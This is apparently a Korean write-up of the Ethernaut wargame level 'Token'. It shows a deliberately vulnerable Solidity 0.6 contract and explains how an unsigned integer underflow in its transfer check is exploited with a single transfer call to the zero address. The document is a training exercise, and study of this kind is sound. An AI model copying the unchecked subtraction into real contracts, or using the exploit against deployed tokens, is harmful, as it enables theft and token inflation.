Ethernaut: 5. 토큰

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}


이 공격은 정수 오버플로 또는 정수 언더플로 익스플로잇을 사용합니다. 실제로 계산이 부호 없는 정수에서 발생하기 때문에 명령문require(balances[msg.sender] - _value >= 0);은 완전히 잘못되었습니다! 물론 그들은 항상 0보다 크거나 같을 것입니다.

우리는 우리 자신에게 돈을 보내 버그를 악용할 수 없습니다. 왜냐하면 두 줄이 취소되기 때문입니다.

balances[msg.sender] -= _value;
balances[_to] += _value;


대신, 일부 토큰을 제로 주소0x0000000000000000000000000000000000000000로 보낼 수 있습니다. 20개의 토큰이 있으므로 21개의 토큰을 0 주소로 보냅니다.

await contract.transfer(
  "0x0000000000000000000000000000000000000000",
  21
)


이 트랜잭션이 채굴되면 기본적으로 이 토큰이 무엇이든 풍부합니다(정확히 115792089237316195423570985008687907853269984665640564039457584007913129639935가 있습니다). 거기에 있는 21개의 토큰이 태워지는 것에 대해 걱정할 필요가 없습니다 :)

토큰을 소각하는 것이 정말 걱정된다면 계약서를 작성하고 대신 전송하십시오!

좋은 웹페이지 즐겨찾기